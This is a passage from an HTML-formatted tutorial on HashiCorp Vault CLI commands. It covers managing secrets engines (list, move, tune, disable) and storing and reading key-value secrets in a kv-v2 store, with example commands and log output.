&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv secrets list&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command shows all currently activated secret engines. The output can be formatted as table, JSON or YAML, and the &lt;code&gt;-detailed&lt;/code&gt; flags&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets list &lt;span class="nt"&gt;-format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;json

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"cubbyhole/"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"2da6947a-8eb4-8bca-7405-8d056e87d997"&lt;/span&gt;,
    &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"cubbyhole"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"per-token private secret storage"&lt;/span&gt;,
    &lt;span class="s2"&gt;"accessor"&lt;/span&gt;: &lt;span class="s2"&gt;"cubbyhole_376f2732"&lt;/span&gt;,
    &lt;span class="s2"&gt;"config"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"default_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"max_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"force_no_cache"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"options"&lt;/span&gt;: null,
    &lt;span class="s2"&gt;"local"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
    &lt;span class="s2"&gt;"seal_wrap"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"external_entropy_access"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_sha256"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"deprecation_status"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"identity/"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"985d0186-a541-5905-fabb-70352eaf55b9"&lt;/span&gt;,
    &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"identity"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"identity store"&lt;/span&gt;,
    &lt;span class="s2"&gt;"accessor"&lt;/span&gt;: &lt;span class="s2"&gt;"identity_6676eb9f"&lt;/span&gt;,
    &lt;span class="s2"&gt;"config"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"default_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"max_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"force_no_cache"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
      &lt;span class="s2"&gt;"passthrough_request_headers"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"Authorization"&lt;/span&gt;
      &lt;span class="o"&gt;]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"options"&lt;/span&gt;: null,
    &lt;span class="s2"&gt;"local"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"seal_wrap"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"external_entropy_access"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_sha256"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"deprecation_status"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"kv2/"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"f7192663-902b-bc9f-da68-762c82c3738b"&lt;/span&gt;,
    &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"kv"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"datacenter secrets"&lt;/span&gt;,
    &lt;span class="s2"&gt;"accessor"&lt;/span&gt;: &lt;span class="s2"&gt;"kv_20ee0106"&lt;/span&gt;,
    &lt;span class="s2"&gt;"config"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"default_lease_ttl"&lt;/span&gt;: 300,
      &lt;span class="s2"&gt;"max_lease_ttl"&lt;/span&gt;: 3600,
      &lt;span class="s2"&gt;"force_no_cache"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
      &lt;span class="s2"&gt;"listing_visibility"&lt;/span&gt;: &lt;span class="s2"&gt;"hidden"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"options"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"version"&lt;/span&gt;: &lt;span class="s2"&gt;"2"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"local"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"seal_wrap"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"external_entropy_access"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
    &lt;span class="s2"&gt;"plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;"v0.25.0+builtin"&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_sha256"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"deprecation_status"&lt;/span&gt;: &lt;span class="s2"&gt;"supported"&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"postgres/"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"50dae925-f07d-184c-a824-096e5719e213"&lt;/span&gt;,
    &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"database"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"accessor"&lt;/span&gt;: &lt;span class="s2"&gt;"database_53cdbc55"&lt;/span&gt;,
    &lt;span class="s2"&gt;"config"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"default_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"max_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"force_no_cache"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"options"&lt;/span&gt;: null,
    &lt;span class="s2"&gt;"local"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"seal_wrap"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"external_entropy_access"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_sha256"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"deprecation_status"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="s2"&gt;"sys/"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"uuid"&lt;/span&gt;: &lt;span class="s2"&gt;"9fc5f342-99e3-4d0a-b7c7-f3f015417a4e"&lt;/span&gt;,
    &lt;span class="s2"&gt;"type"&lt;/span&gt;: &lt;span class="s2"&gt;"system"&lt;/span&gt;,
    &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"system endpoints used for control, policy and debugging"&lt;/span&gt;,
    &lt;span class="s2"&gt;"accessor"&lt;/span&gt;: &lt;span class="s2"&gt;"system_5265b4ea"&lt;/span&gt;,
    &lt;span class="s2"&gt;"config"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"default_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"max_lease_ttl"&lt;/span&gt;: 0,
      &lt;span class="s2"&gt;"force_no_cache"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
      &lt;span class="s2"&gt;"passthrough_request_headers"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"Accept"&lt;/span&gt;
      &lt;span class="o"&gt;]&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s2"&gt;"options"&lt;/span&gt;: null,
    &lt;span class="s2"&gt;"local"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"seal_wrap"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
    &lt;span class="s2"&gt;"external_entropy_access"&lt;/span&gt;: &lt;span class="nb"&gt;false&lt;/span&gt;,
    &lt;span class="s2"&gt;"plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_plugin_version"&lt;/span&gt;: &lt;span class="s2"&gt;"v1.21.1+builtin.vault"&lt;/span&gt;,
    &lt;span class="s2"&gt;"running_sha256"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;,
    &lt;span class="s2"&gt;"deprecation_status"&lt;/span&gt;: &lt;span class="s2"&gt;""&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv secrets move&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When a secrets engine mount path should be changed, this command can be used.&lt;/p&gt;

&lt;p&gt;Here is an example to move the kv-v2 engine to a more descriptive mount path reflecting its intended use-case:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets move kv2 datacenter-secrets/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-19T10:06:07.937+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Starting to update the mount table and revoke leases: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
2025-12-19T10:06:08.162+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Removing the &lt;span class="nb"&gt;source &lt;/span&gt;mount from filtered paths on secondaries: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
2025-12-19T10:06:08.162+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Updating quotas associated with the &lt;span class="nb"&gt;source &lt;/span&gt;mount: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
2025-12-19T10:06:08.162+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core.mounts.migration: Completed mount move operations: &lt;span class="nv"&gt;from_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2/ &lt;span class="nv"&gt;migration_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;d5c3b5d9-d0b8-4bd8-4b9a-c29e471fb0e1 &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;to_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv secrets tune&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Once a secret engine became operational, its configuration might need a modification. The &lt;code&gt;tune&lt;/code&gt; command accepts most command from its activations, except those that govern the encryption itself, such as &lt;code&gt;external-entropy-access&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To modify the kv-v2 engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets tune &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"stores datacenter secrets"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-listing-visibility&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;unauth &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-default-lease-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10m datacenter-secrets

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-19T10:23:13.086+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of listing_visibility successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
2025-12-19T10:23:43.231+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of leases successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/
2025-12-19T10:23:43.351+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: mount tuning of description successful: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/ &lt;span class="nv"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"stores datacenter secrets"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv secrets disable&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When the secret engine is not required anymore, it can be turned off. All existing leases will be deleted, and all stored date is removed irreversible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets disable datacenter-secrets

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-19T10:29:32.553+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: successfully unmounted: &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;datacenter-secrets/ &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key-Value Secret Engine Data Commands
&lt;/h2&gt;

&lt;p&gt;Vault comes with several built-in secrets engines, and the key-value store is the most generic one. Once configured, secrets in the form of key-value pairs can be stored at any nested path, allowing to reflect organizational or logical structure.&lt;/p&gt;

&lt;p&gt;The key-value store is available in two different versions, a quick differentiation is this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The kv-v1 store is more runtime efficient and requires fewer storage space. Secrets are stored unversioned. When a command overwrites data at an existing path, its data is lost. Furthermore, deletion is also non-recoverable.&lt;/li&gt;
&lt;li&gt;The kv-v2 store adds versioning to all paths, with a default but tunable value of 10 versions. Storing data at an already defined path increments the version counter. Older versions can be read until the increments surpass the defined maximum value. Any version can be erased recoverable with the &lt;code&gt;delete&lt;/code&gt; command, or non-recoverable with the &lt;code&gt;destroy&lt;/code&gt; command. Finally, when using the vault CLI generic CRUD commands, the actual paths to access the secret need to differentiate between &lt;code&gt;&amp;lt;mount_path&amp;gt;/data/&amp;lt;name&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;mount_path&amp;gt;/metadata/&amp;lt;name&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Assuming a CRUD lifecycle, the &lt;code&gt;kv&lt;/code&gt; subcommands can be seperated as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Creation

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;put&lt;/code&gt;: Adds a new secret or new version of the secret at a defined path&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Reading

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;list&lt;/code&gt;: Shows all secrets at a designated path, or at subsequent path parts&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;get&lt;/code&gt;: Access a specific secret and expose all its metadata&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Update

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;patch&lt;/code&gt;: Modify existing data without incrementing the version&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rollback&lt;/code&gt;: Restores a previous version of a secret&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;undelete&lt;/code&gt;: Restores a secret, or versions of a secrets, that were marked for deletion&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;enable-versioning&lt;/code&gt;: Adds versioning capabilities to a secret if not present already&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Delete

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;delete&lt;/code&gt;: Removes a secret, or versions of a secret, but keeping an internal, recoverable record&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;destroy&lt;/code&gt;: Non-recoverable erasing of a secret or versions of secrets&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Only in an kv-v2 store are all CLI commands available, and will therfore be the context for this section. The store is created with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2 kv-v2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv put&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;In its simplest form, a single key-value pair can be stored at an arbitrary path. The command can include the secret data directly, which will be stored in the Shell history and therefore exposed, or read from file.&lt;/p&gt;

&lt;p&gt;To pass secrets directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv2/api-creds &lt;span class="nv"&gt;aws&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;75ae33a4b907bc87796

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T08:13:57.536865Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another option is to store the secret data in a file, and pass multiple key-value pairs to the command, where the &lt;code&gt;key&lt;/code&gt; is determined by the command, and its value by the content of the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv2/api-creds &lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;@/tmp/aws.scr.txt

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T08:33:49.738235Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Interestingly, the file content can even be binary, as the following example shows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dd &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/urandom &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/binary.scr.txt &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv put kv2/api-creds &lt;span class="nv"&gt;binary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;@/tmp/binary.scr.txt

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                binary
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T08:42:50.150485Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv list&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To get an overview about all secrets, the &lt;code&gt;list&lt;/code&gt; command can be called with to secrets engines root-path.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv list kv2

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Keys
&lt;span class="nt"&gt;----&lt;/span&gt;
api-creds
databases
kubernetes
kubernetes/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the output shows, it lists the top-level paths only. When structured paths are defined, they will be shown with a trailing &lt;code&gt;/&lt;/code&gt;. These paths need to be exposed additionally.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv list kv2/kubernetes/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Keys
&lt;span class="nt"&gt;----&lt;/span&gt;
datacenter1
datacenter2
datacenter3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;kv get&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command retrieves all data stored at a specific path. Unless scoped, the most recent version will be returned.&lt;/p&gt;

&lt;p&gt;Here is an example that returns the most-recent version, also showing that binary data was stored:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;  vault kv get kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
created_time       2025-12-20T09:27:46.102492Z
custom_metadata    &amp;lt;nil&amp;gt;
deletion_time      n/a
destroyed          &lt;span class="nb"&gt;false
&lt;/span&gt;version            3

&lt;span class="o"&gt;====&lt;/span&gt; Data &lt;span class="o"&gt;====&lt;/span&gt;
Key      Value
&lt;span class="nt"&gt;---&lt;/span&gt;      &lt;span class="nt"&gt;-----&lt;/span&gt;
binary    7J&lt;span class="se"&gt;\Z&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;kMTtcyM/T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To return a different version instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault kv get &lt;span class="nt"&gt;-version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 kv2/api-creds

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
&lt;span class="o"&gt;===&lt;/span&gt; Secret Path &lt;span class="o"&gt;===&lt;/span&gt;
kv2/data/api-creds

&lt;span class="o"&gt;=======&lt;/span&gt; Metadata &lt;span class="o"&gt;=======&lt;/span&gt;
Key                Value
&lt;span class="nt"&gt;---&lt;/span&gt;                &lt;span class="nt"&gt;-----&lt;/span&gt;
